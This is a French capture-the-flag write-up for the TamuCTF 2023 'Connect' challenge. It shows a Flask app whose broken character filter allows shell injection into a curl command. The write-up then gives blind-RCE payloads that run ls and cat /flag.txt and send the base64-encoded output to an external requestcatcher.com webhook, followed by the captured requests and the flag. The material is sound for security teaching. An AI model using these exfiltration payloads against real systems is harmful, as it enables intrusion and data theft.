TamuCTF 2023 - Connect
Énoncé
Dans ce challenge, on nous a donné un fichier qui contient l’application Flask. Voici un aperçu de l’application app.py:
import flask
import os
def escape_shell_cmd(data):
for char in data:
if char in '&#;`|*?~<>^()[]{}$\\':
return False
else:
return True
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.render_template('index.html')
@app.route('/api/curl', methods=['POST'])
def curl():
url = flask.request.form.get('ip')
if escape_shell_cmd(url):
command = "curl -s -D - -o /dev/null " + url + " | grep -oP '^HTTP.+[0-9]{3}'"
output = os.popen(command).read().strip()
if 'HTTP' not in output:
return flask.jsonify({'message': 'Error: No response'})
return flask.jsonify({'message': output})
else:
return flask.jsonify({'message': 'Illegal Characters Detected'})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8001)
Cette application permet de vérifier si un site web est en ligne ou non grâce à une requête curl
depuis la route /api/curl
.
Cependant on peut remarquer que la fonction escape_shell_cmd()
à très mal été pensée puisque l’instruction return
permet de quitter la fonction et de retourner une valeur. Donc la fonction va juste comparer le premier caractère de l’url, ce qui nous permet d’injecter du code malveillant. Cependant on aura aucun résultat et aucune sortie de la commande puisque on aura seulement la ligne qui contient HTTP
. Ici on peut exploiter une RCE à l’aveugle.
Exploitation:
Pour exploiter l’application, il me faut un webhook, je vais utiliser requestcatcher.com.
Avant tout, voici à quoi ressemble l’interface:
En envoyant le payload suivant:
https://balgo.requestcatcher.com/$(ls -l | base64 -w0)
On obtient une donnée sur le webhook:
GET /dG90YWwgMTIKLXJ3LXJ3LXItLS4gICAgMSByb290IHJvb3QgIDg2NyBBcHIgMjggMDQ6MzcgYXBwLnB5CmRyd3hyLXhyLXguICAgIDEgcm9vdCByb290ICAgIDYgQXByIDEyIDA3OjA2IGJpbgpkcnd4ci14ci14LiAgICAyIHJvb3Qgcm9vdCAgICA2IFNlcCAgMyAgMjAyMiBib290CmRyd3hyLXhyLXguICAgIDUgcm9vdCByb290ICAxMjAgQXByIDI5IDAxOjUzIGRldgpkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDY2IEFwciAyOCAwNzozMiBldGMKLXJ3LXJ3LXItLS4gICAgMSByb290IHJvb3QgICA0MyBBcHIgMjggMDQ6MzcgZmxhZy50eHQKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBTZXAgIDMgIDIwMjIgaG9tZQpkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDMwIEFwciAxMiAwNzowNiBsaWIKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAzNCBBcHIgMTEgMDA6MDAgbGliNjQKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgbWVkaWEKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgbW50CmRyd3hyLXhyLXguICAgIDIgcm9vdCByb290ICAgIDYgQXByIDExIDAwOjAwIG9wdApkci14ci14ci14LiAxMTQzIHJvb3Qgcm9vdCAgICAwIEFwciAyOCAwNzozMiBwcm9jCmRyd3gtLS0tLS0uICAgIDEgcm9vdCByb290ICAgMjAgQXByIDI4IDA1OjQzIHJvb3QKZHJ3eHIteHIteC4gICAgMyByb290IHJvb3QgICAzMCBBcHIgMTEgMDA6MDAgcnVuCmRyd3hyLXhyLXguICAgIDIgcm9vdCByb290IDQwOTYgQXByIDExIDAwOjAwIHNiaW4KZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgc3J2CmRyd3hyd3hyLXguICAgIDIgcm9vdCByb290ICAgMzggQXByIDI4IDA0OjM3IHN0YXRpYwpkci14ci14ci14LiAgIDEzIHJvb3Qgcm9vdCAgICAwIEFwciAyNiAwMjowNiBzeXMKZHJ3eHJ3eHIteC4gICAgMiByb290IHJvb3QgICAyNCBBcHIgMjggMDQ6MzcgdGVtcGxhdGVzCmRyd3hyd3hyd3QuICAgIDEgcm9vdCByb290ICAgIDYgQXByIDI4IDA1OjQzIHRtcApkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDU0IEFwciAxMSAwMDowMCB1c3IKZHJ3eHIteHIteC4gICAgMSByb290IHJvb3QgICA0MSBBcHIgMTEgMDA6MDAgdmFyCg== HTTP/1.1
Host: balgo.requestcatcher.com
Accept: */*
User-Agent: curl/7.64.0
ET en déchiffrant la donnée en base64 nous reçevons la donnée suivante:
total 12
-rw-rw-r--. 1 root root 867 Apr 28 04:37 app.py
drwxr-xr-x. 1 root root 6 Apr 12 07:06 bin
drwxr-xr-x. 2 root root 6 Sep 3 2022 boot
drwxr-xr-x. 5 root root 120 Apr 29 01:53 dev
drwxr-xr-x. 1 root root 66 Apr 28 07:32 etc
-rw-rw-r--. 1 root root 43 Apr 28 04:37 flag.txt
drwxr-xr-x. 2 root root 6 Sep 3 2022 home
drwxr-xr-x. 1 root root 30 Apr 12 07:06 lib
drwxr-xr-x. 2 root root 34 Apr 11 00:00 lib64
drwxr-xr-x. 2 root root 6 Apr 11 00:00 media
drwxr-xr-x. 2 root root 6 Apr 11 00:00 mnt
drwxr-xr-x. 2 root root 6 Apr 11 00:00 opt
dr-xr-xr-x. 1143 root root 0 Apr 28 07:32 proc
drwx------. 1 root root 20 Apr 28 05:43 root
drwxr-xr-x. 3 root root 30 Apr 11 00:00 run
drwxr-xr-x. 2 root root 4096 Apr 11 00:00 sbin
drwxr-xr-x. 2 root root 6 Apr 11 00:00 srv
drwxrwxr-x. 2 root root 38 Apr 28 04:37 static
dr-xr-xr-x. 13 root root 0 Apr 26 02:06 sys
drwxrwxr-x. 2 root root 24 Apr 28 04:37 templates
drwxrwxrwt. 1 root root 6 Apr 28 05:43 tmp
drwxr-xr-x. 1 root root 54 Apr 11 00:00 usr
drwxr-xr-x. 1 root root 41 Apr 11 00:00 var
Nous avons réussi à exécuter du code malveillant et afficher la liste des fichiers. Nous repérons rapidement le fichier flag.txt
qui contient notre flag donc on va l’afficher avec le payload suivant toujours avec le webhook:
https://balgo.requestcatcher.com/$(cat /flag.txt | base64 -w0)
Et voici ce qu’on obtient à nouveau:
GET /Z2lnZW17cDAwcl9mMWx0M3JzX200azNfZjByX3AwMHJfczNjdXIxdHl9Cg== HTTP/1.1
Host: balgo.requestcatcher.com
Accept: */*
User-Agent: curl/7.64.0
Qui nous donne une fois décodé:
gigem{p00r_f1lt3rs_m4k3_f0r_p00r_s3cur1ty}
Donc le flag est gigem{p00r_f1lt3rs_m4k3_f0r_p00r_s3cur1ty}